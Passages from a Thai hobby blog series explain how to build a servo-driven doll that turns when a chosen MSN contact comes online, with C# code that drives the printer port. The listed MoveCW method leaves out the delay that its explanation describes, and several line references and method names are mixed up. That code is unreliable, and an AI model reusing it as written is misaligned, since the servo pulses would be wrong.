คนคอมพิวเตอร์

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

มาสร้างหุ่นแอ๊บแบ๊วกันเถอะ [6]

ทำให้เพื่อนๆ ของคุณทึ่งด้วยการสร้างหุ่นยนต์น่ารักคิกขุที่จะส่งสัญญาณให้คุณทราบทันทีที่แฟนของคุณปรากฏกายใน MSN

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

หุ่น แอ๊บแบ๊วคือตุ๊กตาตัวเล็กๆ ที่เรานำมาติดไว้กับเซอร์โว (servo motor) เมื่อบุคคลที่เราต้องการติดตามเฝ้าดูสถานะ (ต่อไปจะเรียกสั้นๆ ว่าแฟน) เปลี่ยนแปลงสภานะในโปรแกรมวินโดวส์ ไลฟว์ แมสเซนเจอร์ (Windows Live Messenger ต่อไปจะเรียกย่อว่า MSN) ด้วยการออนไลน์หรือออฟไลน์ เซอร์โวจะทำงาน หุ่นแอ๊บแบ๊วก็จะเคลื่อนที่ ขณะที่เรานั่งที่โต๊ะคอมพิวเตอร์ หรือเดินผ่าน เพียงชำเลืองมองที่หุ่นแอ๊บแบ๊วเราก็จะทราบทันทีว่าแฟนของเรากำลังออนไลน์ อยู่หรือไม่

บท ความนี้จะแนะนำวิธีสร้างหุ่นแอ๊บแบ๊วทั้งทางฮาร์ดแวร์และซอฟท์แวร์โดย ละเอียด ฮาร์ดแวร์ประกอบด้วยอุปกรณ์หาง่ายน้อยชิ้น นำมาประกอบเป็นวงจรง่ายๆ ไม่ซับซ้อน ส่วนซอฟท์แวร์ผู้เขียนเตรียมไฟล์ซอร์สโค้ดไว้ให้ครบ ท่านสามารถนำไปปรับปรุงเปลี่ยนแปลงได้อย่างรวดเร็ว

คอนสทรักเตอร์ของคลาส AvailabotForm
คอนสทรักเตอร์ของคลาส AvailabotForm ทำหน้าที่กำหนดค่าเริ่มต้นให้แก่ออพเจ็กต์ที่จะถูกสร้างจากคลาสนี้

1 public AvailabotForm()
2 {
3     InitializeComponent();
4     timer1.Interval = 1000;
5     textBox1.Text = "Start at " + DateTime.Now.ToString() + "\r\n";
6 }

บรรทัดที่ 3 เรียกเมธอด InitializeComponent ซึ่งเป็นเมธอดที่ถูกสร้างโดยดีไซเนอร์ของ MSVS เพื่อวาดภาพกล่องตัวอักษรและปุ่ม บรรทัดที่ 4 กำหนดค่าให้แก่ตัวจับเวลา timer1 ให้มีช่วงเวลาหน่วง 1,000 มิลลิวินาที หรือหนึ่งวินาที (เราใช้ timer1 เพื่อตรวจสอบสถานะของแฟนทุกๆ วินาที) บรรทัดที่ 5 แสดงข้อความแจ้งการเริ่มทำงานในกล่องตัวอักษร textBox1

เมธอด MoveCW
เมธอด MoveCW ทำหน้าที่หมุนเซอร์โวตามเข็มนาฬิกา (Clock Wise เรียกย่อ CW)คือการหมุนวนขวา (ทักษิณาวรรต)  เมธอด MoveCW มีโค้ดดังนี้

1 private void MoveCW(int r)
2 {
3      timer1.Enabled = false;
4      for (int i = 0; i < r; i++)
5      {
6          myPort.OutPut(255);
7          myPort.OutPut(0);
8          Thread.Sleep(40);
9      }
10     timer1.Enabled = true;
11 }

บรรทัดที่ 1 ทำหน้าที่กำหนดว่าเมธอดนี้ไม่มีค่าส่งกลับและมีพารามิเตอร์หนึ่งตัวคือ r ทำหน้าที่กำหนดจำนวนพัลส์ คำสั่งวนซ้ำในบรรทัดที่ 3 นำค่า r มากำหนดจำนวนรอบของการทำงานซ้ำ การทำงานหนึ่งรอบจะสร้างพัลส์หนึ่งลูกซึ่งจะทำให้เซอร์โวเคลื่อนไปประมาณ 8 องศา (เซอร์โวรุ่นอื่นหรือยี่ห้ออื่นอาจเคลื่อนมากหรือน้อยกว่านี้)

เราต้องหยุดการทำงานของ timer1 ไว้ชั่วคราว (บรรทัดที่ 3)เพื่อไม่ให้รบกวนการทำงานของพัลส์ และให้ทำงานต่อเมื่อเราส่งพัลส์เสร็จแล้ว (บรรทัดที่ 11)

บรรทัดที่ 6 ถึง 9 คือโค้ดไส้ในของการวนซ้ำทำหน้าที่สร้างพัลส์หนึ่งลูก บรรทัดที่ 6 เซตให้ทุกบิตของพอร์ทเครื่องพิมพ์มีค่าเป็นหนึ่ง บรรทัดที่ 7 ทำหน้าที่หน่วงเวลานาน 1 มิลลิวินาที บรรทัดที่ 8 เซตให้ทุกบิตของพอร์ทเครื่องพิมพ์มีค่าเป็นศูนย์ และบรรทัดที่ 9 ทำหน้าที่หน่วงเวลานาน 20 มิลลิวินาที ผลลัพธ์ที่ได้คือพัลส์หนึ่งลูกตาม (โปรดดูแผนภูมิประกอบการทำงานของโปรแกรม)

แผนภูมิเวลาของพัลส์ที่ถูกสร้างด้วยเมธอด MoveCW

เมธอด MoveCC
เมธอด MoveCW ทำหน้าที่หมุนเซอร์โวทวนเข็มนาฬิกา (Counter Clock Wise เรียกย่อ CC)คือการหมุนวนซ้าย (อุตราวรรต)  โค้ดของเมธอด MoveCW เหมือนโค้ดของเมธอด MoveCW ทุกประการ ยกเว้นช่วงหน่วงขณะโลจิกสูงมีระยะเวลาสองมิลลิวินาที

1  private void MoveCC(int r)
2  {
3      timer1.Enabled = false;
4      for (int i = 0; i < r; i++)
5      {
6          myPort.OutPut(255);
7          Thread.Sleep(2);
8          myPort.OutPut(0);
9          Thread.Sleep(40);
10      }
11      timer1.Enabled = true;
12  }

เมธอด RepeatMove
เมธอดนี้จะทำงานหากเรากำหนดให้หุ่นแอ๊บแบ๊วทำงานในโหมดหันต่อเนื่อง หน้าที่ของมันคือทำให้หุ่นแอ๊บแบ๊วหันไปทางซ้าย แล้วหันไปทางขวาสลับไปเช่นนี้ตลอดเวลาที่แฟนออนไลน์

1  private void RepeatMove(int x)
2  {
3      if (x == 1)
4      {
5          textBox1.Text = " Love On-line!!!";
6          if (moveToLeft)
7              MoveCW(18);
8          else
9              MoveCC(17);
10         moveToLeft = !moveToLeft;
11     }
12 }

เมธอด OneTimeMove
เมธอดนี้จะทำงานหากเรากำหนดให้หุ่นแอ๊บแบ๊วทำงานในโหมดหันครั้งเดียว หน้าที่ของมันคือทำให้หุ่นแอ๊บแบ๊วหันหน้ามาหาเราเมื่อแฟนออนไลน์ และหันหลังให้เราหากแฟนออฟไลน์

1   private void OneTimeMove(int x)
2   {
3       if (x == 1)
4       {
5           if (!userStat)
6           {
7               textBox1.Text = " Love On-line!!!";
8               userStat = true;
9               MoveCW(18);
10          }
11      }
12      else
13      {
14          if (userStat)
15          {
16              textBox1.Text = " *** Love Off-line **** ";
17              userStat = false;
18              MoveCC(17);
19          }
20      }
21  }

เมธอด timer1_Tick
เมธอด timer1_Tick จะทำงานเองโดยอัตโนมัติทุกๆ หนึ่งวินาที เพราะเรากำหนดค่า timer1.interval ไว้ในเมธอดคอนสทรักเตอร์ ให้มีค่าเป็นหนึ่งวินาที

1   private void timer1_Tick(object sender, EventArgs e)
2   {
3       myTR = new StreamReader(@"c:\msn-test\log.txt");
4       int x = Convert.ToInt32(myTR.ReadLine());
5       myTR.Close();
6       if (repeat)
7           RepeatMove(x);
8       else
9           OneTimeMove(x);
10  }

บรรทัดที่ 3 อ่านข้อมูลจากแฟ้มข้อมูลตัวอักษรชื่อ log.txt ซึ่งอยู่ในโฟลเดอร์ c:\msn-test ค่าที่อ่านได้จะมีเพียงเลข 0 หรือเลข 1 อย่างใดอย่างหนึ่งเท่านั้น แต่เราอ่านมาเป็นข้อความ จึงต้องแปลงเป็นข้อมูลแบบเลขจำนวนเต็มเสียก่อน (บรรทัดที่ 4) เมื่ออ่านเสร็จแล้วปิดไฟล์ (บรรทัดที่ 5 หากไม่ปิดไฟล์ GetAlert จะเปิดไฟล์นี้ไม่ได้และจะเกิดเออเรอร์)

นำค่าที่อ่านได้มาตรวจสอบว่าเป็น 1 หรือไม่  (บรรทัดที่ 6) ถ้าใช่ แสดงว่าแฟนออนไลน์แล้ว เราจะหมุนเซอร์โว  (บรรทัดที่ 12) และแสดงข้อความในกล่องตัวอักษร textBox1  (บรรทัดที่ 10)

เนื่องจากตัวจับเวลา timer1 จะตรวจสอบการออนไลน์นี้ทุกๆ หนึ่งวินาที แต่การหมุนเซอร์โวเราต้องทำเมื่อแฟนเริ่มออนไลน์เพียงครั้งเดียว (ไม่ใช่ทำทุกๆ หนึ่งวินาที เราจะไม่หมุนเซอร์โวอีก จนกว่าแฟนของเราจะออฟไลน์ และออนไลน์ใหม่อีกครั้ง) ดังนั้นเราจึงจำเป็นต้องตรวจสอบเงื่อนไขดังกล่าวนี้

วิธีตรวจสอบทำได้หลายแบบ อย่างง่ายสุดคือใช้ตัวแสดงสถานะ (status หรือ flag) ในโปรแกรมนี้เราใช้ฟิลด์ userStat เพื่อไม่ให้โปรแกรมหมุนเซอร์โวทุกครั้งที่ timer1 ทำงาน โปรดไล่ดูคำสั่งในโปรแกรมเพื่อวิเคราะห์ว่าฟิลด์ userStat ถูกนำมาใช้แก้ปัญหานี้ได้อย่างไร 

เมธอด buttonStart_Click
เมธอด buttonStart_Click ทำงานเมื่อผู้ใช้กดปุ่ม Start ขั้นแรกเราต้องตรวจสอบว่า timer1 กำลังทำงานอยู่หรือไม่ (บรรทัดที่ 3) หากใช่ เราต้องหยุด timer1  (บรรทัดที่ 5) เปลี่ยนข้อความบนปุ่มเป็น Start (บรรทัดที่ 6) และแสดข้อความใน textBox1 ให้ผู้ใช้งานรู้ว่า timer1 หยุดทำงานแล้ว  (บรรทัดที่ 7)

หาก timer1 หยุดทำงานอยู่ เราต้องให้มันเริ่มทำงาน (บรรทัดที่ 11)เปลี่ยนข้อความบนปุ่มเป็น Stop (บรรทัดที่ 12)และแสดข้อความใน textBox1 ให้ผู้ใช้งานรู้ว่าบัดนี้ timer1 เริ่มทำงานแล้ว  (บรรทัดที่ 13)

1   private void buttonStart_Click(object sender, EventArgs e)
2   {
3       if (timer1.Enabled)
4       {
5           timer1.Enabled = false;
6           buttonStart.Text = "Start";
7           textBox1.Text += "Timer Stop\r\n";
8       }
9        else
10      {
11          timer1.Enabled = true;
12          buttonStart.Text = "Stop";
13          textBox1.Text += "Timer Start\r\n";
14      }
15  }

 

โปรดติดตามตอนต่อไป

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

มาสร้างหุ่นแอ๊บแบ๊วกันเถอะ [5]

ทำให้เพื่อนๆ ของคุณทึ่งด้วยการสร้างหุ่นยนต์น่ารักคิกขุที่จะส่งสัญญาณให้คุณทราบทันทีที่แฟนของคุณปรากฏกายใน MSN

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

หุ่น แอ๊บแบ๊วคือตุ๊กตาตัวเล็กๆ ที่เรานำมาติดไว้กับเซอร์โว (servo motor) เมื่อบุคคลที่เราต้องการติดตามเฝ้าดูสถานะ (ต่อไปจะเรียกสั้นๆ ว่าแฟน) เปลี่ยนแปลงสภานะในโปรแกรมวินโดวส์ ไลฟว์ แมสเซนเจอร์ (Windows Live Messenger ต่อไปจะเรียกย่อว่า MSN) ด้วยการออนไลน์หรือออฟไลน์ เซอร์โวจะทำงาน หุ่นแอ๊บแบ๊วก็จะเคลื่อนที่ ขณะที่เรานั่งที่โต๊ะคอมพิวเตอร์ หรือเดินผ่าน เพียงชำเลืองมองที่หุ่นแอ๊บแบ๊วเราก็จะทราบทันทีว่าแฟนของเรากำลังออนไลน์ อยู่หรือไม่

บท ความนี้จะแนะนำวิธีสร้างหุ่นแอ๊บแบ๊วทั้งทางฮาร์ดแวร์และซอฟท์แวร์โดย ละเอียด ฮาร์ดแวร์ประกอบด้วยอุปกรณ์หาง่ายน้อยชิ้น นำมาประกอบเป็นวงจรง่ายๆ ไม่ซับซ้อน ส่วนซอฟท์แวร์ผู้เขียนเตรียมไฟล์ซอร์สโค้ดไว้ให้ครบ ท่านสามารถนำไปปรับปรุงเปลี่ยนแปลงได้อย่างรวดเร็ว

AvailabotSolution
AvailabotSolution คือโซลูชันของ MSVS  ภายในโซลูชันนี้มีโปรเจคสองโปรเจคคือ AvailabotProject (ต่อไปจะเรียกย่อว่า AP) และ GetAlert โดยโปรเจค AP เป็นโปรแกรมประยุกต์ในวินโดวส์ (โปรแกรมแบบเดกส์ท็อป) เพื่อให้เราควบคุมการทำงานของหุ่นแอ๊บแบ๊วได้ ส่วนโปรเจค GetAlert เป็นตัวเสริมการทำงานของ MSN ทำหน้าที่คอยติดตามสถานะแฟนว่าออนไลน์หรือไม่

 
Project Explorer ของโปรแกรม Microsoft Visual Studio .NET 2005 แสดงไฟล์ต่างๆ ใน AvailabotSolution

AvailabotProject
โครงงานนี้มีคลาสหลักสองคลาสคือ PortAccess ทำหน้าที่ใช้สร้างออพเจ็กต์ติดต่อกับพอร์ทเครื่องพิมพ์ และคลาส AvailabotForm ทำหน้าที่ใช้สร้างออพเจ็กต์หน้า WinForm

 

 
แผนภูมิของคลาสต่างๆ ใน AvailabotProject ให้สนใจเฉพาะคลาส AvailabotForm และ PortAccess เท่านั้น ส่วนคลาส Program, Resources และ Settings เป็นคลาสบริการที่ถูกสร้างขึ้นโดยวิสชวลสตูดิโอ

คลาส AvailabotForm
คลาส AvailabotForm ทำหน้าที่แสดงส่วนติดต่อกับผู้ใช้ ตรวจสอบการออนไลน์และออฟไลน์ของแฟนของเรา และมีปุ่มให้เราทดสอบการหมุนของเซอร์โว และปุ่มสำหรับปรับตั้งตำแหน่งของหุ่นแอ๊บแบ๊วดังที่เห็นในรูป

 
หน้า WinForm ของคลาส AvailabotForm มีส่วนประกอบต่างๆ ดังนี้
1.    TextBox1 ทำหน้าที่แสดงข้อความรายงานสถานะต่างๆ
2.    buttonStart กดเพื่อให้ timer1 ทำงานหรือหยุดทำงาน
3.    buttonRight หมุนเซอร์โวทางขวา 90 องศา
4.    buttonStepRight ขยับเซอร์โวไปทางขวาหนึ่งครั้ง
5.    buttonStepLeft ขยับเซอร์โวไปทางซ้ายหนึ่งครั้ง
6.    buttonLeft หมุนเซอร์โวทางซ้าย 90 องศา

โครงสร้างคลาส AvailabotForm
โครงสร้างของคลาส AvailabotForm เผยให้เห็นส่วน using และสมาชิกต่างๆ ดังนี้

 

บรรทัดที่ 3 และ 4 โค้ดส่วน using จับรวมเนมสเปสพิเศษที่เราต้องการใช้งานสองเนมสเปสคือ IO ช่วยให้อ้างถึงไทป์ TextReader เพื่ออ่านแฟ้มข้อมูลตัวอักษร และ Threading ช่วยให้ใช้คำสั่ง sleep เพื่อหน่วงเวลาได้

คลาส AvailabotForm มีสมาชิกเพียงสองแบบคือสมาชิกแบบดาต้าฟิลด์ (บรรทัดที่ 8 ถึง 12) และสมาชิกแบบเมธอด (บรรทัดที่ 15 ถึง 133) สมาชิกแบบเมธอดแบงออกเป็นสี่ประเภทคือ คอนสทรักเตอร์ (บรรทัดที่ 15) เมธอดทำหน้าที่หมุนเซอร์โว (บรรทัดที่ 22 ถึง 57) เมธอดบริการตัวจับเวลา (บรรทัดที่ 79) และเมธอดบริการปุ่ม (บรรทัดที่ 89 ถึง 116)

สมาชิกแบบฟิลด์ของคลาส AvailabotForm
สมาชิกแบบฟิลด์ของคลาส AvailabotForm มีห้าตัวดังนี้
    private TextReader myTR;
    PortAccess myPort = new PortAccess();
    private bool userStat = false;
    private bool repeat = false;
    private bool moveToLeft = false;
myTR ทำหน้าที่เก็บค่าอ้างอิงออพเจ็กต์แบบ TextReader เพื่อให้เราสามารถอ่านไฟล์ตัวอักษรได้ myPort ทำหน้าที่เก็บค่าอ้างอิงออพเจ็กต์แบบ PortAccess ที่สร้างจากคลาสที่เรานิยามไว้เพื่อติดต่อกับพอร์ทเครื่องพิมพ์  userStat เป็นตัวแปรแบบบูลลีน ทำหน้าที่เก็บภาวะของแฟน (ว่าออนไลน์หรือไม่)repeat ทำหน้าที่เก็บสถานะว่าเป็นการทำงานแบบหมุนต่อเนื่องหรือหมุนเพียงครั้งเดียว (โหมดการทำงานของหุ่นแอ๊บแบ๊ว) และสุดท้ายคือ เก็บสถานะว่าเป็นการหมุนซ้ายไปขวาหรือขวาไปซ้าย (เพื่อให้หุ่นแอ๊บแบ๊วหันกลับไปกลับมาในโหมดทำงานต่อเนื่อง)

 

โปรดติดตามตอนต่อไป

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

มาสร้างหุ่นแอ๊บแบ๊วกันเถอะ [4]

ทำให้เพื่อนๆ ของคุณทึ่งด้วยการสร้างหุ่นยนต์น่ารักคิกขุที่จะส่งสัญญาณให้คุณทราบทันทีที่แฟนของคุณปรากฏกายใน MSN

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

หุ่น แอ๊บแบ๊วคือตุ๊กตาตัวเล็กๆ ที่เรานำมาติดไว้กับเซอร์โว (servo motor) เมื่อบุคคลที่เราต้องการติดตามเฝ้าดูสถานะ (ต่อไปจะเรียกสั้นๆ ว่าแฟน) เปลี่ยนแปลงสภานะในโปรแกรมวินโดวส์ ไลฟว์ แมสเซนเจอร์ (Windows Live Messenger ต่อไปจะเรียกย่อว่า MSN) ด้วยการออนไลน์หรือออฟไลน์ เซอร์โวจะทำงาน หุ่นแอ๊บแบ๊วก็จะเคลื่อนที่ ขณะที่เรานั่งที่โต๊ะคอมพิวเตอร์ หรือเดินผ่าน เพียงชำเลืองมองที่หุ่นแอ๊บแบ๊วเราก็จะทราบทันทีว่าแฟนของเรากำลังออนไลน์ อยู่หรือไม่

บท ความนี้จะแนะนำวิธีสร้างหุ่นแอ๊บแบ๊วทั้งทางฮาร์ดแวร์และซอฟท์แวร์โดย ละเอียด ฮาร์ดแวร์ประกอบด้วยอุปกรณ์หาง่ายน้อยชิ้น นำมาประกอบเป็นวงจรง่ายๆ ไม่ซับซ้อน ส่วนซอฟท์แวร์ผู้เขียนเตรียมไฟล์ซอร์สโค้ดไว้ให้ครบ ท่านสามารถนำไปปรับปรุงเปลี่ยนแปลงได้อย่างรวดเร็ว

 

วิธีควบคุมเซอร์โว
เซอร์โวไม่ใช่แค่มอเตอร์ทดเฟือง ภายในตัวมันมีวงจรอีเลกทรอนิกส์ซับซ้อน มอเตอร์ทดเฟืองเมื่อป้อนไฟเลี้ยงจะหมุนทันที แต่เซอร์โวเมื่อป้อนไฟเลี้ยงจะไม่หมุน เราต้องส่งสัญญาณไปควบคุมการทำงานของมัน สัญญาณดังกล่าวนี้เป็นพัลส์ที่มีข้อกำหนดเฉพาะเจาะจง (ตามที่เห็นในแผนภูมิ) ในโครงงานนี้เราจะเขียนโปรแกรมภาษา C# เพื่อสร้างพัลส์เหล่านี้

เซอร์โวมีสายสามเส้น ซ้ายสุดสีส้มคือสายสัญญาณ สายกลางสีแดงคือไฟเลี้ยง และขวาสุดสีน้ำตาลคือกราวนด์

 

 

 

 

 

เซอร์โวที่ผู้เขียนแกะจากหุ่นยนต์เก่าเป็นเซอร์โวยี่ห้อ GWS รุ่น S03T STD หากท่านมีเซอร์โวยี่ห้ออื่นรุ่นอื่นก็ใช้ได้ทั้งนั้น แต่อาจต้องปรับเปลี่ยนค่าการหน่วงเวลาในโปรแกรมเล็กน้อย เพราะเซอร์โวแต่ละยี่ห้อแต่ละรุ่นอาจมีจำนวนองศาในการหมุนแตกต่างกัน

 

 

 

 

 

 
เมื่อต้องการให้เซอร์โวหมุนไปทางซ้าย เราต้องสร้างพัลส์โดยปล่อยไฟ 5 โวลต์ (ทำให้ตรรกะที่ขา D0 ของพอร์ทเครื่องพิมพ์เป็น 1) นาน 1 มิลลิวินาที และทำให้เป็นกราวนด์ (ทำให้ตรรกะที่ขา D0 ของพอร์ทเครื่องพิมพ์เป็น 0) นาน 20 มิลลิวินาที  เมื่อต้องการให้เซอร์โวหมุนไปทางขวา เราต้องปล่อยไฟ 5 โวลต์นาน 2 มิลลิวินาที และทำให้เป็นกราวนด์นาน 20 มิลลิวินาที เซอร์โวยี่ห้อที่ผู้เขียนใช้เคลื่อนที่ประมาณ 8 องศาเมื่อได้รับพัลส์หนึ่งลูก

 

ซอฟต์แวร์ของหุ่นแอ๊บแบ๊ว
การสร้างซอฟท์แวร์ในโครงงานนี้จะใช้ภาษาอะไรก็ได้ แต่เนื่องจากเราจะสร้าง add-in ของ MSN ผู้เขียนจึงเลือกใช้ภาษา C# เพราะทำได้ง่าย ผู้เขียนจะสร้างโซลูชันด้วยโปรแกรม วิสชวลสตูดิโอ (Microsoft Visual Studio .NET 2005 ต่อไปจะเรียกว่า MSVS)ขั้นตอนการทำงานของซอฟต์แวร์ในโครงงานนี้เป็นดังนี้ (โปรดดูแผนภูมิประกอบคำอธิบาย)

 

 
แผนภูมิแสดงการทำงานของซอฟต์แวร์หุ่นแอ๊บแบ๊ว

  1. โปรแกรม GetAlert คือโปรแกรมที่เราเขียนขึ้นเพื่อทำงานเป็น add-in ของ MSN มันทำหน้าที่เฝ้าดูสถานะของแฟนตลอดเวลาที่เราเปิดโปรแกรม MSN
  2. เมื่อแฟนออนไลน์ GetAlert จะบันทึกตัวอักษร 1 ไว้ในไฟล์ log.txt เมื่อแฟนออฟไลน์ GetAlert จะบันทึกตัวอักษร 0 ไว้
  3. โปรแกรม AvailabotForm เป็นโปรแกรมแบบเดกส์ท็อปที่เราสร้างขึ้นเพื่อทำหน้าที่ควบคุมเซอร์โว
  4. โปรแกรม AvailabotForm จะตรวจดูข้อมูลในไฟล์ log.txt ทุกๆ หนึ่งวินาที
  5. เมื่อโปรแกรม AvailabotForm พบว่าข้อมูลใน log.txt เปลี่ยนแปลง มันจะส่งพัลส์ไปยังเซอร์โว
  6. เซอร์โวหมุนทำให้หุ่นแอ๊บแบ๊วเคลื่อนที่ในลักษณะที่ทำให้เรารู้ว่าแฟนออนไลน์หรือออฟไลน์
    หากสงสัยว่าแทนที่เราจะให้ GetAlert เขียนแฟ้มข้อมูล เราเปลี่ยนให้มันส่งพัลส์ไปยังเซอร์โวโดยตรงได้หรือไม่ (ตัดโปรแกรม AvailabotForm ออกไป) คำตอบคือได้ แต่ผู้เขียนไม่ใช้วิธีนั้นเพราะดีบักยาก

 

โปรดติดตามตอนต่อไป

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

มาสร้างหุ่นแอ๊บแบ๊วกันเถอะ [2]

ทำให้เพื่อนๆ ของคุณทึ่งด้วยการสร้างหุ่นยนต์น่ารักคิกขุที่จะส่งสัญญาณให้คุณทราบทันทีที่แฟนของคุณปรากฏกายใน MSN

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

หุ่น แอ๊บแบ๊วคือตุ๊กตาตัวเล็กๆ ที่เรานำมาติดไว้กับเซอร์โว (servo motor) เมื่อบุคคลที่เราต้องการติดตามเฝ้าดูสถานะ (ต่อไปจะเรียกสั้นๆ ว่าแฟน) เปลี่ยนแปลงสภานะในโปรแกรมวินโดวส์ ไลฟว์ แมสเซนเจอร์ (Windows Live Messenger ต่อไปจะเรียกย่อว่า MSN) ด้วยการออนไลน์หรือออฟไลน์ เซอร์โวจะทำงาน หุ่นแอ๊บแบ๊วก็จะเคลื่อนที่ ขณะที่เรานั่งที่โต๊ะคอมพิวเตอร์ หรือเดินผ่าน เพียงชำเลืองมองที่หุ่นแอ๊บแบ๊วเราก็จะทราบทันทีว่าแฟนของเรากำลังออนไลน์ อยู่หรือไม่

บท ความนี้จะแนะนำวิธีสร้างหุ่นแอ๊บแบ๊วทั้งทางฮาร์ดแวร์และซอฟท์แวร์โดย ละเอียด ฮาร์ดแวร์ประกอบด้วยอุปกรณ์หาง่ายน้อยชิ้น นำมาประกอบเป็นวงจรง่ายๆ ไม่ซับซ้อน ส่วนซอฟท์แวร์ผู้เขียนเตรียมไฟล์ซอร์สโค้ดไว้ให้ครบ ท่านสามารถนำไปปรับปรุงเปลี่ยนแปลงได้อย่างรวดเร็ว

 

วิธีประกอบหุ่นแอ๊บแบ๊ว
การสร้างส่วนฮาร์ดแวร์ของหุ่นแอ๊บแบ๊วไม่มีอะไรซับซ้อน หลายๆ คนเห็นวงจรแล้วคงลงมือสร้างได้เลย ส่วนกลไกก็ธรรมดามาก เชื่อว่าท่านคงนำไปดัดแปลงได้น่าสนใจกว่านี้ ต่อไปนี้จะอธิบายวิธีประกอบโดยการเล่าด้วยรูป

นำสายแพมาฉีกออกให้เหลือสามเส้น

นำหัวต่อไฟเลี้ยงในเครื่องคอมพิวเตอร์ (T1) มาถอดขาออกแล้วบัดกรีกับสายแพ

ขาที่ต้องบัดกรีคือขาที่ต่อกับไฟ 5 โวลต์และ GND

เมื่อบัดกรีเสร็จแล้วใส่ขากลับเข้าที่จะเป็นแบบนี้

สายไฟที่เหลืออีกหนึ่งเส้นให้บัดกรีกับขาสองของคอนเนคเตอร์ DB25

ปลายอีกด้านของสายแพนำไปบัดกรีกับขาของคอนเนคเตอร์สามขา

บัดกรีเสร็จแล้วใส่ขาเข้ากับพลาสติกหัวคอนเนคเตอร์

นำแผ่นวงจรพิมพ์อเนกประสงค์มาตัดด้วยเลื่อยหรือเครื่องมือตัดแผ่น PVC ให้มีขนาดประมาณ 1×1 นิ้ว

ขัดด้วยกระดาษทรายให้ขอบเรียบ และขัดด้านที่มีทองแดงหากมีคราบสนิม

นำขั้วต่อคอนเนคเตอร์มาหักออกให้เหลือสามขา

สร้าง T2 โดยบัดกรีขั้วต่อคอนเนคเตอร์เข้ากับแผ่นวงจรพิมพ์

ทดลองเสียบคอนเนคเตอร์เข้ากับขัวที่บัดกรีแล้ว

สร้าง T3 โดยบัดกรีขั้วต่อคอนเนคเตอร์เข้ากับแผ่นวงจรพิมพ์อีกด้านหนึ่ง

เราจะใช้ขั้วต่อคอนเนคเตอร์นี้ต่อกับเซอร์โว

 

นำตัวต้านทานและ LED มาบัดกรีบนแผ่นวงจรพิมพ์

บัดกรีจุดเชื่อมต่อให้ครบแล้วนำคอนเนคเตอร์มาเสียบ

นำเซอร์โวมายึดกับกล่องพลาสติกด้วยนอต

นำแผ่นวงจรมาติดกับเซอร์โวโดยใช้เทปกาวสองหน้าแบบหนา

นำแผ่นซีดีมาพ่นสีขาวติดกับกล่องพลาสติกแล้วใส่ลวดลายรูปหัวใจเพื่อความสวยงาม

แผ่นซีดีและกล่องเมื่อตกแต่งเสร็จแล้ว (แผ่นซีดีนี้จะไม่หมุน นำมาติดไว้เป็นฐานเพื่อความสวยงาม)

นำแผ่นพลาสติกกลมมาใส่นอต

ขันนอตเข้ากับที่นั่งทับของตุ๊กตา

 

ฮาร์ดแวร์ของหุ่นแอ๊บแบ๊วเป็นอันเสร็จสมบูรณ์

โปรดติดตามตอนต่อไป

หน้าแรก สารบัญ เกี่ยวกับบล็อกนี้ เกี่ยวกับผู้เขียน

มาสร้างหุ่นแอ๊บแบ๊วกันเถอะ [1]

ทำให้เพื่อนๆ ของคุณทึ่งด้วยการสร้างหุ่นยนต์น่ารักคิกขุที่จะส่งสัญญาณให้คุณทราบทันทีที่แฟนของคุณปรากฏกายใน MSN

บทความโดย : ลาภลอย วานิชอังกูร (laploy.com)

 

 

หุ่นแอ๊บแบ๊วคือตุ๊กตาตัวเล็กๆ ที่เรานำมาติดไว้กับเซอร์โว (servo motor) เมื่อบุคคลที่เราต้องการติดตามเฝ้าดูสถานะ (ต่อไปจะเรียกสั้นๆ ว่าแฟน) เปลี่ยนแปลงสภานะในโปรแกรมวินโดวส์ ไลฟว์ แมสเซนเจอร์ (Windows Live Messenger ต่อไปจะเรียกย่อว่า MSN) ด้วยการออนไลน์หรือออฟไลน์ เซอร์โวจะทำงาน หุ่นแอ๊บแบ๊วก็จะเคลื่อนที่ ขณะที่เรานั่งที่โต๊ะคอมพิวเตอร์ หรือเดินผ่าน เพียงชำเลืองมองที่หุ่นแอ๊บแบ๊วเราก็จะทราบทันทีว่าแฟนของเรากำลังออนไลน์อยู่หรือไม่

บทความนี้จะแนะนำวิธีสร้างหุ่นแอ๊บแบ๊วทั้งทางฮาร์ดแวร์และซอฟท์แวร์โดยละเอียด ฮาร์ดแวร์ประกอบด้วยอุปกรณ์หาง่ายน้อยชิ้น นำมาประกอบเป็นวงจรง่ายๆ ไม่ซับซ้อน ส่วนซอฟท์แวร์ผู้เขียนเตรียมไฟล์ซอร์สโค้ดไว้ให้ครบ ท่านสามารถนำไปปรับปรุงเปลี่ยนแปลงได้อย่างรวดเร็ว

 
หัวข้อต่างๆ ที่จำเป็นต้องรู้ในการสร้างหุ่นแอ๊บแบ๊ว (ซึ่งเป็นหัวข้อที่ท่านจะได้อ่านรายละเอียดในบทความนี้) มีดังนี้

  • อุปกรณ์ที่ต้องใช้
  • วงจรหุ่นแอ๊บแบ๊ว
  • วิธีประกอบหุ่นแอ๊บแบ๊ว
  • วิธีควบคุมเซอร์โว
  • ซอฟต์แวร์หุ่นแอ๊บแบ๊ว
  • การใช้งานไลบรารี MessengerClient.dll
  • ระบบรักษาความปลอดภัยของ MSN
  • การใช้ strong name
  • การลงทะเบียน GAC
  • วิธีทำให้ MSN รับ Add-in ได้
  • วิธีติดตั้ง Add-in ใน MSN

 

อุปกรณ์ที่ต้องใช้
ฮาร์ดแวร์ของหุ่นแอ๊บแบ๊วมีอุปกรณ์น้อยชิ้น ผู้เขียนหาทุกอย่างได้จากลิ้นชักเก็บเศษวัสดุเก่า หากท่านไม่มีอุปกรณ์ชิ้นใดให้หาซื้อจากศูนย์รวมร้านขายอะไหล่อิเลกทรอนิกส์เช่นบ้านหม้อ การสร้างฮาร์ดแวร์ของหุ่นแอ๊บแบ๊วต้องการอุปกรณ์ต่างๆ ดังนี้

หัวต่อเพาเวอร์ซัพพลายตัวผู้

คอนเนคเตอร์ DB25 ตัวผู้ สำหรับเสียบกับพอร์ทเครื่องพิมพ์

